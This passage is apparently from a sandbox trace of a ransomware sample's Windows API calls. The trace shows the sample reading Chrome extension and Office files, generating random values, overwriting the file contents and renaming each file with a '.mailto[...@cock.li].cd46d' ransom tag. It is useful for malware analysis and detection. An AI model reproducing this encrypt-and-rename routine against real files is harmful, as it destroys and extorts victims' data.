dwFileAttributes=0x20) returned 1 [0189.722] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x186c [0189.722] GetFileSizeEx (in: hFile=0x186c, lpFileSize=0x6b0f920 | out: lpFileSize=0x6b0f920*=352) returned 1 [0189.722] SetFilePointerEx (in: hFile=0x186c, liDistanceToMove=0x15c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.722] ReadFile (in: hFile=0x186c, lpBuffer=0x6b0f8a4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x6b0f8a0, lpOverlapped=0x0 | out: lpBuffer=0x6b0f8a4*, lpNumberOfBytesRead=0x6b0f8a0*=0x4, lpOverlapped=0x0) returned 1 [0189.723] SetFilePointerEx (in: hFile=0x186c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.723] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c58f0 [0189.723] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4d8490 [0189.723] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4d82b0 [0189.723] NtQuerySystemTime (in: CurrentTime=0x6b0f880 | out: CurrentTime=0x6b0f880*=132174899643130000) returned 0x0 [0189.723] RtlRandomEx (in: Seed=0x6b0f88c | out: Seed=0x6b0f88c) returned 0x5bd36add [0189.723] RtlRandomEx (in: Seed=0x6b0f88c | out: Seed=0x6b0f88c) returned 0x35b705df [0189.723] RtlRandomEx (in: Seed=0x6b0f88c | out: Seed=0x6b0f88c) returned 0x3e098e41 [0189.723] RtlRandomEx (in: Seed=0x6b0f88c | out: Seed=0x6b0f88c) returned 0x358043fc [0189.723] RtlRandomEx (in: Seed=0x6b0f88c | out: Seed=0x6b0f88c) returned 0x76aa3629 [0189.723] RtlRandomEx (in: Seed=0x6b0f88c | out: Seed=0x6b0f88c) returned 0x53de66a9 [0189.723] RtlRandomEx (in: Seed=0x6b0f88c | out: Seed=0x6b0f88c) returned 0x1d01cce7 [0189.723] RtlRandomEx (in: Seed=0x6b0f88c | out: Seed=0x6b0f88c) returned 0x2f80298c [0189.723] RtlRandomEx (in: Seed=0x6b0f88c | out: Seed=0x6b0f88c) returned 0x6d0d0767 [0189.723] RtlRandomEx (in: Seed=0x6b0f88c | out: Seed=0x6b0f88c) returned 0x58184a77 [0189.723] RtlRandomEx (in: Seed=0x6b0f88c | out: Seed=0x6b0f88c) returned 0x600926f5 [0189.723] RtlRandomEx (in: Seed=0x6b0f88c | out: Seed=0x6b0f88c) returned 0x55a32dcc [0189.723] RtlRandomEx (in: Seed=0x6b0f88c | out: Seed=0x6b0f88c) returned 0x26573ca9 [0189.723] RtlRandomEx (in: Seed=0x6b0f88c | out: Seed=0x6b0f88c) returned 0x2501accd [0189.723] RtlRandomEx (in: Seed=0x6b0f88c | out: Seed=0x6b0f88c) returned 0x4180edd [0189.724] RtlRandomEx (in: Seed=0x6b0f88c | out: Seed=0x6b0f88c) returned 0x28fe89dc [0189.724] RtlRandomEx (in: Seed=0x6b0f88c | out: Seed=0x6b0f88c) returned 0x15e7d993 [0189.724] RtlRandomEx (in: Seed=0x6b0f88c | out: Seed=0x6b0f88c) returned 0x2f0f9506 [0189.724] RtlRandomEx (in: Seed=0x6b0f88c | out: Seed=0x6b0f88c) returned 0x7516fa0 [0189.724] RtlRandomEx (in: Seed=0x6b0f88c | out: Seed=0x6b0f88c) returned 0x4dd5f17b [0189.724] RtlRandomEx (in: Seed=0x6b0f88c | out: Seed=0x6b0f88c) returned 0x5d6cef16 [0189.724] RtlRandomEx (in: Seed=0x6b0f88c | out: Seed=0x6b0f88c) returned 0x6737b948 [0189.724] RtlRandomEx (in: Seed=0x6b0f88c | out: Seed=0x6b0f88c) returned 0x330e94bb [0189.724] RtlRandomEx (in: Seed=0x6b0f88c | out: Seed=0x6b0f88c) returned 0x7aaacb60 [0189.724] RtlRandomEx (in: Seed=0x6b0f88c | out: Seed=0x6b0f88c) returned 0x2efbc46a [0189.724] RtlRandomEx (in: Seed=0x6b0f88c | out: Seed=0x6b0f88c) returned 0x3fb605c1 [0189.724] RtlRandomEx (in: Seed=0x6b0f88c | out: Seed=0x6b0f88c) returned 0x70d11ac8 [0189.724] RtlRandomEx (in: Seed=0x6b0f88c | out: Seed=0x6b0f88c) returned 0x446d7a71 [0189.724] RtlRandomEx (in: Seed=0x6b0f88c | out: Seed=0x6b0f88c) returned 0x4e81ee44 [0189.724] RtlRandomEx (in: Seed=0x6b0f88c | out: Seed=0x6b0f88c) returned 0x3a5261dd [0189.724] RtlRandomEx (in: Seed=0x6b0f88c | out: Seed=0x6b0f88c) returned 0x63262473 [0189.724] RtlRandomEx (in: Seed=0x6b0f88c | out: Seed=0x6b0f88c) returned 0x3e5f3fc1 [0189.737] ReadFile (hFile=0x186c, lpBuffer=0x10e80990, nNumberOfBytesToRead=0x160, lpNumberOfBytesRead=0x6b0f87c, lpOverlapped=0x0) [0189.737] SetFilePointerEx (in: hFile=0x186c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.737] WriteFile (in: hFile=0x186c, lpBuffer=0x10e8d198*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x6b0f878, lpOverlapped=0x0 | out: lpBuffer=0x10e8d198*, lpNumberOfBytesWritten=0x6b0f878*=0x160, lpOverlapped=0x0) returned 1 [0190.156] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8f6dc0 [0190.156] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8f6de8 [0190.156] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6de8) returned 1 [0190.156] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x10e8d198) returned 1 [0190.156] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x10e80990) returned 1 [0190.156] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fb028) returned 1 [0190.156] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9fd8) returned 1 [0190.156] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x35) returned 0x8d9e10 [0190.156] SetFilePointerEx (in: hFile=0x186c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.156] WriteFile (in: hFile=0x186c, lpBuffer=0xd4d6080*, nNumberOfBytesToWrite=0x119, lpNumberOfBytesWritten=0x6b0f8e0, lpOverlapped=0x0 | out: lpBuffer=0xd4d6080*, lpNumberOfBytesWritten=0x6b0f8e0*=0x119, lpOverlapped=0x0) returned 1 [0190.262] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d6080) returned 1 [0190.262] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d9d50) returned 1 [0190.262] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6de8) returned 1 [0190.262] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d9e10) returned 1 [0190.262] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6dc0) returned 1 [0190.262] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8490) returned 1 [0190.262] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8468) returned 1 [0190.262] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8440) returned 1 [0190.262] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x182) returned 0x932ae8 [0190.262] wcscpy (in: _Dest=0x932ae8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json" [0190.262] wcscat (in: _Dest=0x932ae8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json.mailto[2Hamlampampom@cock.li].cd46d" [0190.262] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x6b0f898, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0190.262] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x198) returned 0x134e2e80 Thread: id = 7505 os_tid = 0x1be4 [0182.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Customer Support.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\customer support.fdt")) returned 0x20 [0182.215] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Customer Support.fdt", dwFileAttributes=0x20) returned 0 [0182.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Customer Support.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\customer support.fdt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0182.219] GetLastError () returned 0x5 [0182.219] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Customer Support.fdt", dwFileAttributes=0x20) returned 0 [0182.220] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf7358) returned 1 Thread: id = 7506 os_tid = 0x1be8 [0182.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hardware Tracker.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\hardware tracker.fdt")) returned 0x20 [0185.940] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hardware Tracker.fdt", dwFileAttributes=0x20) returned 0 [0186.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hardware Tracker.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\hardware tracker.fdt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0189.168] GetLastError () returned 0x5 [0189.168] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hardware Tracker.fdt", dwFileAttributes=0x20) returned 0 [0189.168] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf7168) returned 1 Thread: id = 7507 os_tid = 0x1bec [0182.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hiring Requisition - Customized.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\hiring requisition - customized.fdt")) returned 0x20 [0183.755] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hiring Requisition - Customized.fdt", dwFileAttributes=0x20) returned 0 [0184.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hiring Requisition - Customized.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\hiring requisition - customized.fdt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0188.657] GetLastError () returned 0x5 [0188.657] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hiring Requisition - Customized.fdt", dwFileAttributes=0x20) returned 0 [0188.658] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf5c98) returned 1 Thread: id = 7515 os_tid = 0x30c [0182.227] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json")) returned 0x2020 [0182.227] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json", dwFileAttributes=0x20) returned 1 [0183.156] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1a28 [0183.157] GetFileSizeEx (in: hFile=0x1a28, lpFileSize=0x3bcf9b0 | out: lpFileSize=0x3bcf9b0*=276) returned 1 [0183.157] SetFilePointerEx (in: hFile=0x1a28, liDistanceToMove=0x110, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.157] ReadFile (in: hFile=0x1a28, lpBuffer=0x3bcf934, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3bcf930, lpOverlapped=0x0 | out: lpBuffer=0x3bcf934*, lpNumberOfBytesRead=0x3bcf930*=0x4, lpOverlapped=0x0) returned 1 [0183.158] SetFilePointerEx (in: hFile=0x1a28, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.158] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93e1a8 [0183.158] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93e018 [0183.158] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93e450 [0183.158] NtQuerySystemTime (in: CurrentTime=0x3bcf910 | out: CurrentTime=0x3bcf910*=132174899577610000) returned 0x0 [0183.158] RtlRandomEx (in: Seed=0x3bcf91c | out: Seed=0x3bcf91c) returned 0x5f18617e [0183.158] RtlRandomEx (in: Seed=0x3bcf91c | out: Seed=0x3bcf91c) returned 0x1622bcae [0183.158] RtlRandomEx (in: Seed=0x3bcf91c | out: Seed=0x3bcf91c) returned 0x2294a6d5 [0183.158] RtlRandomEx (in: Seed=0x3bcf91c | out: Seed=0x3bcf91c) returned 0x3eed1573 [0183.158] RtlRandomEx (in: Seed=0x3bcf91c | out: Seed=0x3bcf91c) returned 0x706e278 [0183.158] RtlRandomEx (in: Seed=0x3bcf91c | out: Seed=0x3bcf91c) returned 0x5b175cc0 [0183.158] RtlRandomEx (in: Seed=0x3bcf91c | out: Seed=0x3bcf91c) returned 0x458de88e [0183.158] RtlRandomEx (in: Seed=0x3bcf91c | out: Seed=0x3bcf91c) returned 0x240f2a27 [0183.158] RtlRandomEx (in: Seed=0x3bcf91c | out: Seed=0x3bcf91c) returned 0x35870d7c [0183.158] RtlRandomEx (in: Seed=0x3bcf91c | out: Seed=0x3bcf91c) returned 0x5bab303d [0183.158] RtlRandomEx (in: Seed=0x3bcf91c | out: Seed=0x3bcf91c) returned 0x683ce18f [0183.158] RtlRandomEx (in: Seed=0x3bcf91c | out: Seed=0x3bcf91c) returned 0x6876929 [0183.158] RtlRandomEx (in: Seed=0x3bcf91c | out: Seed=0x3bcf91c) returned 0x5def43bd [0183.158] RtlRandomEx (in: Seed=0x3bcf91c | out: Seed=0x3bcf91c) returned 0x6a4de545 [0183.158] RtlRandomEx (in: Seed=0x3bcf91c | out: Seed=0x3bcf91c) returned 0x4afd1f72 [0183.158] RtlRandomEx (in: Seed=0x3bcf91c | out: Seed=0x3bcf91c) returned 0x58193ef [0183.158] RtlRandomEx (in: Seed=0x3bcf91c | out: Seed=0x3bcf91c) returned 0x76ef0900 [0183.158] RtlRandomEx (in: Seed=0x3bcf91c | out: Seed=0x3bcf91c) returned 0x2caa75d8 [0183.158] RtlRandomEx (in: Seed=0x3bcf91c | out: Seed=0x3bcf91c) returned 0x2effdb9f [0183.158] RtlRandomEx (in: Seed=0x3bcf91c | out: Seed=0x3bcf91c) returned 0x1f57e29f [0183.158] RtlRandomEx (in: Seed=0x3bcf91c | out: Seed=0x3bcf91c) returned 0x30938785 [0183.158] RtlRandomEx (in: Seed=0x3bcf91c | out: Seed=0x3bcf91c) returned 0x2832dc1e [0183.158] RtlRandomEx (in: Seed=0x3bcf91c | out: Seed=0x3bcf91c) returned 0x64b6a3ed [0183.158] RtlRandomEx (in: Seed=0x3bcf91c | out: Seed=0x3bcf91c) returned 0x4aadac2 [0183.159] RtlRandomEx (in: Seed=0x3bcf91c | out: Seed=0x3bcf91c) returned 0x1cec6a9f [0183.159] RtlRandomEx (in: Seed=0x3bcf91c | out: Seed=0x3bcf91c) returned 0x730c9d5e [0183.159] RtlRandomEx (in: Seed=0x3bcf91c | out: Seed=0x3bcf91c) returned 0x36764345 [0183.159] RtlRandomEx (in: Seed=0x3bcf91c | out: Seed=0x3bcf91c) returned 0x4ac5fd57 [0183.159] RtlRandomEx (in: Seed=0x3bcf91c | out: Seed=0x3bcf91c) returned 0x59c4d5c0 [0183.159] RtlRandomEx (in: Seed=0x3bcf91c | out: Seed=0x3bcf91c) returned 0x6ca8b238 [0183.159] RtlRandomEx (in: Seed=0x3bcf91c | out: Seed=0x3bcf91c) returned 0x118c44c5 [0183.159] RtlRandomEx (in: Seed=0x3bcf91c | out: Seed=0x3bcf91c) returned 0x50887fac [0183.170] ReadFile (hFile=0x1a28, lpBuffer=0x12d92910, nNumberOfBytesToRead=0x114, lpNumberOfBytesRead=0x3bcf90c, lpOverlapped=0x0) [0183.170] SetFilePointerEx (in: hFile=0x1a28, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.170] WriteFile (in: hFile=0x1a28, lpBuffer=0x12d608f0*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x3bcf908, lpOverlapped=0x0 | out: lpBuffer=0x12d608f0*, lpNumberOfBytesWritten=0x3bcf908*=0x114, lpOverlapped=0x0) returned 1 [0183.178] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93e1f8 [0183.178] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93e2e8 [0183.178] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93e2e8) returned 1 [0183.178] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d608f0) returned 1 [0183.184] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d92910) returned 1 [0183.184] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8d28) returned 1 [0183.185] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2620) returned 1 [0183.185] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0xd4d8560 [0183.185] SetFilePointerEx (in: hFile=0x1a28, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.185] WriteFile (in: hFile=0x1a28, lpBuffer=0x12cf52c0*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x3bcf970, lpOverlapped=0x0 | out: lpBuffer=0x12cf52c0*, lpNumberOfBytesWritten=0x3bcf970*=0x10b, lpOverlapped=0x0) returned 1 [0183.194] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf52c0) returned 1 [0183.194] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8470) returned 1 [0183.194] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93e2e8) returned 1 [0183.194] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8560) returned 1 [0183.194] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93e1f8) returned 1 [0183.194] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93e018) returned 1 [0183.194] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af280) returned 1 [0183.194] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af348) returned 1 [0183.194] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0x937e28 [0183.194] wcscpy (in: _Dest=0x937e28, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json" [0183.194] wcscat (in: _Dest=0x937e28, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0183.194] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x3bcf928, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0183.194] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0x8f6b78 Thread: id = 7613 os_tid = 0x1798 [0182.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CALOUT_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\calout_m.vss")) returned 0x20 [0184.771] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CALOUT_M.VSS", dwFileAttributes=0x20) returned 0 [0184.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CALOUT_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\calout_m.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0184.771] GetLastError () returned 0x5 [0184.771] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CALOUT_M.VSS", dwFileAttributes=0x20) returned 0 [0184.771] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ae4c8) returned 1 Thread: id = 7618 os_tid = 0x17ac [0183.765] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_pt\\messages.json")) returned 0x2020 [0183.765] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\messages.json", dwFileAttributes=0x20) returned 1 [0186.700] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf24 [0186.700] GetFileSizeEx (in: hFile=0xf24, lpFileSize=0xa59fdec | out: lpFileSize=0xa59fdec*=198) returned 1 